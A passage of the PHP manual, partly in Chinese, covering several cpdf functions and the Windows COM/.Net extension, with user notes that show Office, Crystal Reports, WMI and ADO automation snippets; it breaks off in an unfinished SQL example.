cpdf_setrgbcolor | 上一级 | cpdf_show


cpdf_show

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_show -- Output text at current position

Description

bool cpdf_show ( int pdf_document, string text )

The cpdf_show() function outputs the string in text at the current position. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_text(),
cpdf_begin_text() and
cpdf_end_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_show_xy | 上一级 | cpdf_stringwidth


cpdf_stringwidth

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_stringwidth -- Returns width of text in current font

Description

float cpdf_stringwidth ( int pdf_document, string text )

The cpdf_stringwidth() function returns the width of the string in text. It requires a font to be set before.

See also cpdf_set_font().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_show | 上一级 | cpdf_stroke


cpdf_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_stroke -- Draw line along path

Description

bool cpdf_stroke ( int pdf_document )

The cpdf_stroke() function draws a line along current path. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_closepath() and cpdf_closepath_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_stringwidth | 上一级 | cpdf_text


cpdf_text

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_text -- Output text with parameters

Description

bool cpdf_text ( int pdf_document, string text [, float x_coor, float y_coor [, int mode [, float orientation [, int alignmode]]]] )

The cpdf_text() function outputs the string text at position with coordinates (x_coor, y_coor). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

The optional parameter orientation is the rotation of the text in degree.

The optional parameter alignmode determines how the text is aligned.

See the ClibPDF documentation for possible values.

See also cpdf_show_xy().

add a note add a note User Contributed Notes
xerofunNOSPMA at NOgmxSPAM dot li
09-Mar-2002 04:36
Unfortunately there hasn't been anyone else adding the textBox feature to the PHP CPDF functions, so I had to it. ;)

in order to get a cpdf_textbox function, so that you don't have to call the cpdf_text function for every single line of text you want to print.

patch: http://mpex.net/software/mirror/cpdf_patch

Then recompile php with cpdf support and use the new function.
It has to be called in between the cpdf_begin_text and cpdf_end_text tags

cpdf_textbox(int pdfdoc, double x-koor, double y-koor, double width, double height, double angle, double linespace, string text [, int alignmode [, float paragraphspacing [, int newlinemode]]]);

Notes:

Alignmode aligns the text within the box:
0 -- left (default)
1 -- center
2 -- right
3 -- justify

Newline mode:
if non-zero, NL ("\n") is a line break, if 0 reformatted (default 0)

Have fun with it. It works great for me. ;)

XeROfun
justinpg at hotmail dot com
25-Sep-2001 08:53
The optional parameter alignmode is defined as follows:<br>
0 -- lower left
1 -- lower middle
2 -- lower right
3 -- middle left
4 -- middle middle
5 -- middle right
6 -- upper left
7 -- upper middle
8 -- upper right<br>
The alignment is with respect to the (x,y) coordinates of the text.
'lower left' means the lower left corner of the text is at point (x,y).
Try them out with coordinates (0,0) to get a feel for them.
add a note add a note

后退 | 起点 | 前进
cpdf_stroke | 上一级 | cpdf_translate


cpdf_translate

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_translate -- Sets origin of coordinate system

Description

bool cpdf_translate ( int pdf_document, float x_coor, float y_coor )

The cpdf_translate() function set the origin of coordinate system to the point (x_coor, y_coor). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_text | 上一级 | COM 和 .Net（Windows）函数


COM 和 .Net（Windows）函数

PHP 手册
后退 前进

XV. COM 和 .Net（Windows）函数

简介

COM is an acronym for Component Object Model; it is an object orientated layer (and associated services) on top of DCE RPC (an open standard) and defines a common calling convention that enables code written in any language to call and interoperate with code written in any other language (provided those languages are COM aware). Not only can the code be written in any language, but it need not even be part of the same executable; the code can be loaded from a DLL, be found in another process running on the same machine, or, with DCOM (Distributed COM), be found in another process on a remote machine, all without your code even needing to know where a component resides.

There is a subset of COM known as OLE Automation which comprises a set of COM interfaces that allow loose binding to COM objects, so that they can be introspected and called at run-time without compile-time knowledge of how the object works. The PHP COM extension utilizes the OLE Automation interfaces to allow you to create and call compatible objects from your scripts. Technically speaking, this should really be called the "OLE Automation Extension for PHP", since not all COM objects are OLE compatible.

Now, why would or should you use COM? COM is one of the main ways to glue applications and components together on the Windows platform; using COM you can launch Microsoft Word, fill in a document template and save the result as a Word document and send it to a visitor of your web site. You can also use COM to perform administrative tasks for your network and to configure your IIS; these are just the most common uses; you can do much more with COM.

Starting with PHP 5, this extension (and this documentation) was rewritten from scratch and much of the old confusing and bogus cruft has be removed. Additionally, we support the instantiation and creation of .Net assemblies using the COM interoperability layer provided by Microsoft.

Please read this article for an overview of the changes in this extension in PHP 5.

需求

COM functions are only available for the Windows version of PHP.

.Net support requires PHP 5 and the .Net runtime.

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

You are responsible for installing support for the various COM objects that you intend to use (such as MS Word); we don't and can't bundle all of those with PHP.

For Each

Starting with PHP 5, you may use PHP's own the 节 called foreach 在 16 章 statement to iterate over the contents of a standard COM/OLE IEnumVariant. In laymans terms, this means that you can use foreach in places where you would have used For Each in VB/ASP code.

例子 1. For Each in ASP

<%
Set domainObject = GetObject("WinNT://Domain")
For Each obj in domainObject
  Response.Write obj.Name & "<br />"
Next
%>

例子 2. while() ... Next() in PHP 4

<?php
$domainObject = new COM("WinNT://Domain");
while ($obj = $domainObject->Next()) {
   echo $obj->Name . "<br />";
}
?>

例子 3. foreach in PHP 5

<?php
$domainObject = new COM("WinNT://Domain");
foreach ($domainObject as $obj) {
   echo $obj->Name . "<br />";
}
?>

Arrays and Array-style COM properties

Many COM objects expose their properties as arrays, or using array-style access. In PHP 4, you may use PHP array syntax to read/write such a property, but only a single dimension is allowed. If you want to read a multi-dimensional property, you could instead make the property access into a function call, with each parameter representing each dimension of the array access, but there is no way to write to such a property.

PHP 5 introduces the following new features to make your life easier:

  • Access multi-dimensional arrays, or COM properties that require multiple parameters using PHP array syntax. You can also write or set properties using this technique.

  • Iterate SafeArrays ("true" arrays) using the the 节 called foreach 在 16 章 control structure. This works because SafeArrays include information about their size. If an array-style property implements IEnumVariant then you can also use foreach for that property too; take a look at the 节 called For Each for more information on this topic.

Exceptions (PHP 5)

This extension will throw instances of the class com_exception whenever there is a potentially fatal error reported by COM. All COM exceptions have a well-defined code property that corresponds to the HRESULT return value from the various COM operations. You may use this code to make programmatic decisions on how to handle the exception.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. COM 配置选项

名称 | 默认值 | 可修改范围 | 更新记录
com.allow_dcom | "0" | PHP_INI_SYSTEM | 自 PHP 4.0.5 起可用
com.autoregister_typelib | "0" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.autoregister_verbose | "0" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.autoregister_casesensitive | "1" | PHP_INI_ALL | 在 PHP 4 中是 PHP_INI_SYSTEM。自 PHP 4.1.0 起可用
com.code_page | "" | PHP_INI_ALL | 自 PHP 5.0.0 起可用
com.typelib_file | "" | PHP_INI_SYSTEM | 自 PHP 4.0.5 起可用
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

com.allow_dcom

如果打开此选项，PHP 将被允许以一个 D-COM（Distributed COM）客户方式操作并允许 PHP 脚本在远程服务器上实例化 COM 对象。

com.autoregister_typelib

When this is turned on, PHP will attempt to register constants from the typelibrary of objects that it instantiates, if those objects implement the interfaces required to obtain that information. The case sensitivity of the constants it registers is controlled by the com.autoregister_casesensitive configuration directive.

com.autoregister_verbose

When this is turned on, any problems with loading a typelibrary during object instantiation will be reported using the PHP error mechanism. The default is off, which does not emit any indication if there was an error finding or loading the type library.

com.autoregister_casesensitive

When this is turned on (the default), constants found in auto-loaded type libraries will be registered case sensitively. See com_load_typelib() for more details.

com.code_page

It controls the default character set code-page to use when passing strings to and from COM objects. If set to an empty string, PHP will assume that you want CP_ACP, which is the default system ANSI code page.

If the text in your scripts is encoded using a different encoding/character set by default, setting this directive will save you from having to pass the code page as a parameter to the COM class constructor. Please note that by using this directive (as with any PHP configuration directive), your PHP script becomes less portable; you should use the COM constructor parameter whenever possible.

注: This configuration directive was introduced with PHP 5.

com.typelib_file

When set, this should hold the path to a file that contains a list of typelibraries that should be loaded on startup. Each line of the file will be treated as the type library name and loaded as though you had called com_load_typelib(). The constants will be registered persistently, so that the library only needs to be loaded once. If a type library name ends with the string #cis or #case_insensitive, then the constants from that library will be registered case insensitively.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CLSCTX_INPROC_SERVER (integer)

CLSCTX_INPROC_HANDLER (integer)

CLSCTX_LOCAL_SERVER (integer)

CLSCTX_REMOTE_SERVER (integer)

CLSCTX_SERVER (integer)

CLSCTX_ALL (integer)

VT_NULL (integer)

VT_EMPTY (integer)

VT_UI1 (integer)

VT_I2 (integer)

VT_I4 (integer)

VT_R4 (integer)

VT_R8 (integer)

VT_BOOL (integer)

VT_ERROR (integer)

VT_CY (integer)

VT_DATE (integer)

VT_BSTR (integer)

VT_DECIMAL (integer)

VT_UNKNOWN (integer)

VT_DISPATCH (integer)

VT_VARIANT (integer)

VT_I1 (integer)

VT_UI2 (integer)

VT_UI4 (integer)

VT_INT (integer)

VT_UINT (integer)

VT_ARRAY (integer)

VT_BYREF (integer)

CP_ACP (integer)

CP_MACCP (integer)

CP_OEMCP (integer)

CP_UTF7 (integer)

CP_UTF8 (integer)

CP_SYMBOL (integer)

CP_THREAD_ACP (integer)

VARCMP_LT (integer)

VARCMP_EQ (integer)

VARCMP_GT (integer)

VARCMP_NULL (integer)

NORM_IGNORECASE (integer)

NORM_IGNORENONSPACE (integer)

NORM_IGNORESYMBOLS (integer)

NORM_IGNOREWIDTH (integer)

NORM_IGNOREKANATYPE (integer)

NORM_IGNOREKASHIDA (integer)

DISP_E_DIVBYZERO (integer)

DISP_E_OVERFLOW (integer)

MK_E_UNAVAILABLE (integer)

参见

For further information on COM read the COM specification or perhaps take a look at Don Box's Yet Another COM Library (YACL). You might find some additional useful information in our FAQ for 55 章. If you're thinking of using MS Office applications on the server side, you should read the information here: Considerations for Server-Side Automation of Office.

目录
COM -- COM 类
DOTNET -- DOTNET class
VARIANT -- VARIANT 类
com_addref -- 增加组件引用计数。[被废弃]
com_create_guid -- Generate a globally unique identifier (GUID)
com_event_sink -- Connect events from a COM object to a PHP object
com_get_active_object -- Returns a handle to an already running instance of a COM object
com_get -- 获取 COM 组件的属性值 [被废弃]
com_invoke -- 调用 COM 组件的方法。
com_isenum -- 获取一个 IEnumVariant
com_load_typelib -- 装载一个 Typelib
com_load -- 创建新的 COM 组件的引用
com_message_pump -- Process COM messages, sleeping for up to timeoutms milliseconds
com_print_typeinfo -- Print out a PHP class definition for a dispatchable interface
com_propget -- com_get() 的别名
com_propput -- com_set() 的别名
com_propset -- com_set() 的别名
com_release -- 减少组件引用计数。[被废弃]
com_set -- 给 COM 组件的属性赋值
variant_abs -- Returns the absolute value of a variant
variant_add -- "Adds" two variant values together and returns the result
variant_and -- performs a bitwise AND operation between two variants and returns the result
variant_cast -- Convert a variant into a new variant object of another type
variant_cat -- concatenates two variant values together and returns the result
variant_cmp -- Compares two variants
variant_date_from_timestamp -- Returns a variant date representation of a unix timestamp
variant_date_to_timestamp -- Converts a variant date/time value to unix timestamp
variant_div -- Returns the result from dividing two variants
variant_eqv -- Performs a bitwise equivalence on two variants
variant_fix -- Returns the integer portion ? of a variant
variant_get_type -- Returns the type of a variant object
variant_idiv -- Converts variants to integers and then returns the result from dividing them
variant_imp -- Performs a bitwise implication on two variants
variant_int -- Returns the integer portion of a variant
variant_mod -- Divides two variants and returns only the remainder
variant_mul -- multiplies the values of the two variants and returns the result
variant_neg -- Performs logical negation on a variant
variant_not -- Performs bitwise not negation on a variant
variant_or -- Performs a logical disjunction on two variants
variant_pow -- Returns the result of performing the power function with two variants
variant_round -- Rounds a variant to the specified number of decimal places
variant_set_type -- Convert a variant into another type "in-place"
variant_set -- Assigns a new value for a variant object
variant_sub -- subtracts the value of the right variant from the left variant value and returns the result
variant_xor -- Performs a logical exclusion on two variants

add a note add a note User Contributed Notes
djogopatrao at gmail dot com
23-Mar-2006 02:44
Since my last post, I struggled hard to find a way to pass parameters to Crystal. Luckly, all I needed was to restrict results from a query, so I found this simple solution:

  // by dfcp/mar/06
  $ObjectFactory= New COM("CrystalReports11.ObjectFactory.1");
  $crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
  $creport = $crapp->OpenReport($my_report, 1);

  $creport->FormulaSyntax = 0;
  $creport->RecordSelectionFormula = "{cadastro.id}>10 and {cadastro.id}<20";

notice that RecordSelectionFormula must be in Crystal Syntax, and the FormulaSyntax=0 makes it work 100% of the time (I suspect that it's bug, although they1 don't seem to think so).

If you need to pass parameters to, say, multiply some field by, IMHO the right way is to use ParameterFields, but the code above hangs on the last line:

$z = $creport->ParameterFieldDefinitions->Item(1); //gets the first parameter
$z->SetCurrentValue( "teste" ); // hangs here

I saw this at some ASPX foruns... no idea why it doesn't work here on PHP... feedback would be highly appreciated.

[1] http://support.businessobjects.com/library/kbase/articles/c2018734.asp
djogopatrao at gmail dot com
16-Mar-2006 10:34
This function converts the crystal report in file $my_report to a PDF file $my_pdf. Exceptions may raise, so put it in a try..catch block.

I struggled so hard to get this done... any comments, please contact me.

function exportCrystalReportToPDF( $my_report, $my_pdf )
{
  // by dfcp/mar/06
  $ObjectFactory= New COM("CrystalReports11.ObjectFactory.1");
  $crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
  $creport = $crapp->OpenReport($my_report, 1);

  $creport->ExportOptions->DiskFileName=$my_pdf;
  $creport->ExportOptions->PDFExportAllPages=true;
  $creport->ExportOptions->DestinationType=1; // Export to File
  $creport->ExportOptions->FormatType=31; // Type: PDF
  $creport->Export(false);
}
a dot kulikov at pool4tool dot com
14-Mar-2006 01:36
In case you are wondering how to group rows or columns in the freshly created EXCEL files, then this may help you

<?
   /***
   * Grouping Rows optically in Excel Using a COM Object
   *
   * That was not easy, I have spent several hours of trial and error to get
   * this thing to work!!!
   *
   * @author Kulikov Alexey <a.kulikov@gmail.com>
   * @since  13.03.2006
   *
   * @see    Open Excel, Hit Alt+F11, thne Hit F2 -- this is your COM bible
   ***/

   //starting excel
   $excel = new COM("excel.application") or die("Unable to instanciate excel");
   print "Loaded excel, version {$excel->Version}\n";

   //bring it to front
   #$excel->Visible = 1;//NOT

   //dont want alerts ... run silent
   $excel->DisplayAlerts = 0;

   //create a new workbook
   $wkb = $excel->Workbooks->Add();

   //select the default sheet
   $sheet=$wkb->Worksheets(1);

   //make it the active sheet
   $sheet->activate;

   //fill it with some bogus data
   for($row=1;$row<=7;$row++){
       for ($col=1;$col<=5;$col++){

         $sheet->activate;
         $cell=$sheet->Cells($row,$col);
         $cell->Activate;
         $cell->value = 'pool4tool 4eva ' . $row . ' ' . $col . ' ak';
       }//end of colcount for loop
   }

   ///////////
   // Select Rows 2 to 5
   $r = $sheet->Range("2:5")->Rows;

   // group them baby, yeah
   $r->Cells->Group;

   // save the new file
   $strPath = 'tfile.xls';
   if (file_exists($strPath)) {unlink($strPath);}
   $wkb->SaveAs($strPath);

   //close the book
   $wkb->Close(false);
   $excel->Workbooks->Close();

   //free up the RAM
   unset($sheet);

   //closing excel
   $excel->Quit();

   //free the object
   $excel = null;
?>
M.F.
08-Mar-2006 04:06
I couldn't find much on Crystal Reports and COM's when I went to tackle it
so I thought a few lines of code here may help out anyone looking for where
to get started in the future.

$crapp = new COM("CrystalRuntime.Application.10");
$creport = $crapp->OpenReport($reportToRun, 1);
//reportToRun=full path to *.rpt file

$creport->Database->Tables->
Item(1)->ConnectionProperties['User ID'] =  $user;

$creport->Database->Tables->
Item(1)->ConnectionProperties['Password'] = $pass;

//fomatType = integer 22=xls, 31=pdf etc
 $creport->ExportOptions->FormatType = $formatType;

//type 1 is to output to a file I think 2 is email
 $creport->ExportOptions->DestinationType = 1;

//location = full path to report output file
$creport->ExportOptions->DiskFileName = $location;

 $creport->DiscardSavedData();
 $creport->Export(False);
Pedro Heliodoro
06-Mar-2006 06:38
Using the Windows Media Player OCX and the latest snap of PHP 5.1 i was able to eject a CD-ROM drive

<?php
//create an instance of Windows Media Player
$mp = new COM("WMPlayer.OCX");
//ejects the first cd-rom on the drive list
$mp->cdromcollection->item(0)->eject();

?>
vedanta dot barooah at gmail dot com
29-Jan-2006 11:59
Microsoft provides two binaries to create windows services: INSTSRV.EXE and SRVANY.EXE, using these php scripts can be run as windows services.

More information is available at: http://support.microsoft.com/?kbid=137890
sadi at unicornsoftbd dot com
17-Nov-2005 08:18
There's no way to use static dlls in php. only way to use a dll in php is to make it a com object first and then using it in php like this

<?php
$NewCom=new COM("uni.example");
?>

once we created the COM object this can be used like any other php classes.
                       sadi
                       www.unicornsoftbd.com
allan666 at gmail dot com
29-Sep-2005 06:37
If you are using a COM object that opens windows or dialogs (like Office applications), those windows or dialogs will not appear and will stay invisible even if you use codes like

$word->visible = true;

To solve this problem, go to the web service properties (Administrative Tools) and click (in the Logon TAB) "Allow the Service to Iterate with desktop".

This explain lots of problems to close applications. When you try to close, the dialos asking to save the file must appear, but only in the option to iterate with desktop is on.

Hope it helps.
dazb@localhost
26-May-2005 04:53
For permissions problems, etc. including "Could Not Open Macro Storage" with Word;
How To Configure Office Applications to Run Under the Interactive User Account

http://support.microsoft.com/kb/288366/EN-US/
mpg123 at thinstall dot com
10-May-2005 04:21
I found the lack of good online docs about how to access a windows environment very frustrating.  I finally found something here: http://www.sitepoint.com/forums/showthread.php?t=92358 but it's a php4 way.  I cleaned up the code, added introspection for methods and voila.  Thanks and credit to the original posters.

<?php
// php translation of asp script by Bill Wooten from
// http://www.4guysfromrolla.com/webtech/082802-1.shtml
function showServices($vComputerName, $vClass)  {
   $objLocator = new COM("WbemScripting.SWbemLocator");

   if($vComputerName == "") $objService = $objLocator->ConnectServer();
   else                    $objService = $objLocator->ConnectServer($vComputerName);

   $objWEBM = $objService->Get($vClass);
   $objProp = $objWEBM->Properties_;
   $objMeth = $objWEBM->Methods_;

   foreach($objMeth as $methItem) echo "Method: " . $methItem->Name ."\r\n";

   echo "\r\n";

   $objWEBMCol = $objWEBM->Instances_();

   foreach($objWEBMCol as $objItem) {

       echo "[" . $objItem->Name . "]\r\n";

       foreach($objProp as $propItem) {
           $tmp = $propItem->Name;
           echo "$tmp: " . $objItem->$tmp . "\r\n";
       }

         echo "\r\n";
   }
}

// Test the function:
showServices("", "Win32_Processor");
showServices("", "Win32_LogicalDisk");
angelo [at] mandato <dot> com
26-Apr-2005 12:11
ADO + PHP5 + SQL DATE FIELDS

Using a COM("ADODB.Connection") object in PHP4 and PHP5 to return date fields in databases will have different results.

In PHP4, the date is returned as a string as represented in the database.  In my case, '2005-04-11 11:35:44'.

In PHP5, the date is returned as a VARIANT type, when printed or implicitly casted would result as '4/11/2005 11:35:44 AM'.

For this example, the solution is to use the variant conversion function variant_date_to_timestamp() to convert the value to a Unix timestamp.

Please refer to this as an example.  Other date types may be converted using one of the other variant_<convert> functions.
bruce at yourweb dot com dot au
24-Apr-2005 08:47
Simple convert xls to csv
<?php
// starting excel
$excel = new COM("excel.application") or die("Unable to instanciate excel");
print "Loaded excel, version {$excel->Version}\n";

//bring it to front
#$excel->Visible = 1;//NOT
//dont want alerts ... run silent
$excel->DisplayAlerts = 0;

//open  document
$excel->Workbooks->Open("C:\\mydir\\myfile.xls");
//XlFileFormat.xlcsv file format is 6
//saveas command (file,format ......)
$excel->Workbooks[1]->SaveAs("c:\\mydir\\myfile.csv",6);

//closing excel
$excel->Quit();

//free the object
$excel->Release();
$excel = null;
?>
Jack dot CHLiang at gmail dot com
11-Apr-2005 01:02
If you want to search an Excel file and don't connect with ODBC, you can try the function I provide. It will search a keyword in the Excel find and return its sheet name, text, field and the row which found the keyword.

<?php

// The example of print out the result
$result = array();
searchEXL("C:/test.xls", "test", $result);

foreach($result as $sheet => $rs){
   echo "Found at $sheet";

   echo "<table width=\"100%\" border=\"1\"><tr>";

   for($i = 0; $i < count($rs["FIELD"]); $i++)
       echo "<th>" . $rs["FIELD"][$i] . "</th>";

   echo "</tr>";

   for($i = 0; $i < count($rs["TEXT"]); $i++) {
       echo "<tr>";

       for($j = 0; $j < count($rs["FIELD"]); $j++)
           echo "<td>" . $rs["ROW"][$i][$j] . "</td>";

       echo "</tr>";
   }
   echo "</table>";

}

/**
 * @param $file string The excel file path
 * @param $keyword string The keyword
 * @param $result array The search result
 */

function searchEXL($file, $keyword, &$result) {
       $exlObj = new COM("Excel.Application") or Die ("Did not connect");
       $exlObj->Workbooks->Open($file);
       $exlBook = $exlObj->ActiveWorkBook;
       $exlSheets = $exlBook->Sheets;

       for($i = 1; $i <= $exlSheets->Count; $i++) {
           $exlSheet = $exlBook->WorkSheets($i);

           $sheetName = $exlSheet->Name;

           if($exlRange = $exlSheet->Cells->Find($keyword)) {
           $col = 1;
           while($fields = $exlSheet->Cells(1, $col)) {
                       if($fields->Text == "")
                   break;

               $result[$sheetName]["FIELD"][] = $fields->Text;
               $col++;
           }

           $firstAddress = $exlRange->Address;
           $finding = 1;
           $result[$sheetName]["TEXT"][] = $exlRange->Text;

           for($j = 1; $j <= count($result[$sheetName]["FIELD"]); $j++) {
               $cell = $exlSheet->Cells($exlRange->Row ,$j);
               $result[$sheetName]["ROW"][$finding - 1][$j - 1] = $cell->Text;
           }

           while($exlRange = $exlRange->Cells->Find($keyword)) {
                   if($exlRange->Address == $firstAddress)
                   break;

               $finding++;
               $result[$sheetName]["TEXT"][] = $exlRange->Text;

               for($j = 1; $j <= count($result[$sheetName]["FIELD"]); $j++) {
                   $cell = $exlSheet->Cells($exlRange->Row ,$j);
                   $result[$sheetName]["ROW"][$finding - 1][$j - 1] = $cell->Text;
               }

           }

           }

   }

   $exlBook->Close(false);
   unset($exlSheets);
   $exlObj->Workbooks->Close();
   unset($exlBook);
   $exlObj->Quit;
   unset($exlObj);
}
?>

For more information, please visit my blog site (written in Chinese)
http://www.microsmile.idv.tw/blog/index.php?p=77
Gianluca GIMIGLIANO
14-Mar-2005 01:17
// NOTE: Using COM with windows XP with apache as a service
// - Compact a Microsoft Access Database
// Be careful $sourceFile and $destFile
//cannot be the same and
// $destFile must be unexistent

Function CompactMSAccess($sourceFile,$destFile) {
$com = new COM("JRO.JetEngine");
$com->CompactDatabase("Data Source=$sourceFile",
"Data Source=$destFile");
$com->Release();
$com=null;
return is_file($destFile);
//if $destFile exists it's a compact DB
}

CompactMSAccess('C:\directory\source.mdb',
'C:\directory\compact.mdb');
michael at example dot com
24-Feb-2005 04:42
After alot of trouble with IIS 6/Windows 2003 and PHP 5.0.2 I figured out how to use Imagemagick COM+/OLE interface. Seems you have to recreate the COM object after each convert() otherwise it will sometimes fail with very strange errors, since the PHP COM interface is not as stable as the old ASP one apparently is.
pelegk2 at walla DOT co DOT il
14-Feb-2005 12:49
Printing to a network printer :
read this note for :
// NOTE: Using COM with windows NT/2000/XP with apache as a service
// - Run dcomcnfg.exe
// - Find word application and click properties
// - Click the Security tab
// - Use Custom Access Permissions
// - Add the user who runs the web server service
// - Use Custom Launch permissions
// - Add the user who runs the web server service

THEN

// starting word
$word = new COM("word.application") or die("Unable to instanciate Word");
print "Loaded Word, version {$word->Version}\n";

// bring it to front
$word->Visible = 1;
//this is for example a printer on my network
$word->ActivePrinter = "\\\\192.168.4.201\\printer1";

// Open a word document, or anything else that word
// can read
$input ="c:\\test.html";
$word->Documents->Open($input);

$word->ActiveDocument->PrintOut();

// closing word
$word->Documents[1]->Close(false);
$word->Quit();

// free the object
$word->Release();
$word = null;
unset($word);

its based on :
at last i did it with lot's of thanks too :
http://il.php.net/manual/en/ref.com.php
cccso at mahidol dot ac dot th
11-Feb-2005 07:13
<?
//Connect Database
$dbfile='D:\DB\log.mdb';
$conn = new COM("ADODB.Connection") or die("Cannot start ADO");
$conn->Open(DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$dbfile; );
$rs = $conn->Execute("Select * From tb_sql");
$tmp_result=$rs->Fields("count");
$result[$count]=$tmp_result->value;
echo "$count ==> $result[$count] <br>";
$rs->Close();

?>

if use version 4.3.10 with windows 2003  can not run "$conn->Open()"
07-Jan-2005 01:11
if you want to add a new hyperlink with excel :

$cell=$sheet->Range('O'.$j);
$cell->Hyperlinks->Add($cell ,'here_your_file');

I write this note because is very difficult to find
the good method to do that .

Merci beaucoup
sorin dot andrei at mymail dot ro
26-Sep-2004 05:24
[Editor's Note:
Serializing the object, storing it and then (on the next page) unserializing it WILL work.
End Note]

the big problem for PHP is it can't save in session an COM object

an samples code is here. This works just first time, then give the error:
Call to undefined method com::Refresh() on line  $mMap->Refresh();
the reson is he can't save the object $mMap in session

<?php
   session_start();
     if (isset($_SESSION['map'])) {
           $mMap = $_SESSION['map'];
       }
       else
       {
       $ArcIMSConnector = new COM ("aims.ArcIMSConnector")  or die("can not create AIMS message object");
           echo "Loaded ArcIMSConnector, <br>";
           $ArcIMSConnector->ServerName = "map.sdsu.edu";
           $ArcIMSConnector->ServerPort = 5300;

           $mMap = new COM ("aims.Map")  or die("can not create aims.Map message object");
           echo "Loaded aims.Map, <br>";
           print "AIMS-ServerName= $ArcIMSConnector->ServerName <br>";

           $resultInit= $mMap->InitMap($ArcIMSConnector,"Worldgeography");

           $mMap->Width    = 400;            //                                'Width of the map in pixels
           $mMap->Height  = 300;            //                                'Height of the map in pixels
           $mMap->BackColor = 15130848;
           $_SESSION['map'] = $mMap;
       }

   $resultRefresh = $mMap->Refresh();                                //Refresh the map
   $urlImage      = $mMap->GetImageAsUrl();
   print "<br>urlImage=$urlImage<br>";

   print "<br><IMG SRC='$urlImage'>";

/*
   $ArcIMSConnector->Release();
   $ArcIMSConnector = null;

   $mMap->Release();
   $mMap = null;
*/

?>
ferozzahid [at] usa [dot] com
24-Aug-2004 03:06
To pass a parameter by reference to a COM function, you need to pass VARIANT to it. Common data types like integers and strings will not work for it.

As an example, calling a function that retrieves the name of a person will look like:

$Name = new VARIANT;

$comobj = new COM("MyCOMOBj.Component") or die("Couldn't create the COM Component");

if(!$comobj->GetName($Name)) {
   echo("Could not retrieve name");
}
else {
   echo("The name retrieved is : " . $Name->value);
}

$Name->type will contain the type of the value stored in the VARIANT e.g. VT_BSTR.

Note For PHP 5:

Insted of '$Name->value', we can use only '$Name' for getting the value stored in the VARIANT. To get the type of the value stored in the VARIANT, use 'variant_get_type($Name)'.

Feroz Zahid
Shawn Coppock
11-Aug-2004 04:15
For those of us that are not experts with object models, if you have Microsoft Excel or Microsoft Word available, go into the Visual Basic Editor (Alt+F11). Now you can open the object browser window (F2) and see what you find.

If you select "Word" in the object browser, then the classes and members of that class are displayed below. For example, if you click on "Selection" in the classes column, and then "Font" in the members column, you will then see "Property Font As Font Member of Word.Selection" displayed at the bottom. Click on the "Font" link there.

Click on Word "Selection" again in the classes column, and then "PageSetup" in the members column, you will then see "Property PageSetup As PageSetup Member of word.Selection" displayed at the bottom. Click on the "PageSetup" link there.

Using the above examples, you can now formulate your Word Document from php. Here is a simple example that creates a 1 & 1/2" space for text based on the margin settings & with dark red text and an 8pt Helvetica font face:

$content = "Insert Sample Text Here\n\nThis starts a new paragraph line.";
$word= new COM("word.application") or die("Unable to create Word document");
print "Loaded Word, version {$word->Version}\n";
$word->Visible = 0;
$word->Documents->Add();
$word->Selection->PageSetup->LeftMargin = '3"';
$word->Selection->PageSetup->RightMargin = '4"';
$word->Selection->Font->Name = 'Helvetica';
$word->Selection->Font->Size = 8;
$word->Selection->Font->ColorIndex= 13; //wdDarkRed = 13
$word->Selection->TypeText("$content");
$word->Documents[1]->SaveAs("some_tst.doc");
$word->quit();
echo "done";

This example (and others) worked for me with Microsoft Word 10.0 Object Library (MS Word 2002), Apache & PHP on Windows XP. Experimenting using the Visual Basic editor will yield some amazing documents from PHP as it will help you see the relationships of the objects used and give you an idea as to how to construct your code. But be prepared for an occaisional PHP.exe crash if your code is way off base.

Hope this helps!
Jason Neal
22-Jul-2004 03:48
If you are having issues with the outlook.application locking up when you try to access it, ensure that your apache server is running in the context of a user on the machine instead of the system account.
appleapril04pear at cherrypixelbananapiz dot de
13-Jul-2004 08:36
If you want to use ms indexing server by querying it from ms sql server in a stored procedure with parameters you can do the following:

1.) Create the Catalog named 'myIndexServer' in indexing server

2.) execute addLinkedServer in query analyzer

       EXEC sp_addlinkedserver
           @server    = 'myIndexServer',
           @srvproduct = 'Index Server',
           @provider  = 'MSIDXS',
           @datasrc    = 'myIndexServer'
       GO

  in case myIndexServer already exist choose another name or
  delete it (be carefull)

   EXEC sp_dropserver myIndexServer
   GO

3.) Write the following string in query analyzer

     declare @sql varchar(1000)
     declare @searchFor varchar(400)
     set @searchFor = 'phporsomething'

     set @sql =' SELECT Path, Filename
                         FROM OPENQUERY( pmsIndexServer,
                         ''SELECT Path, Filename FROM
                             pmsProtokollAnhaengeIndex..SCOPE()
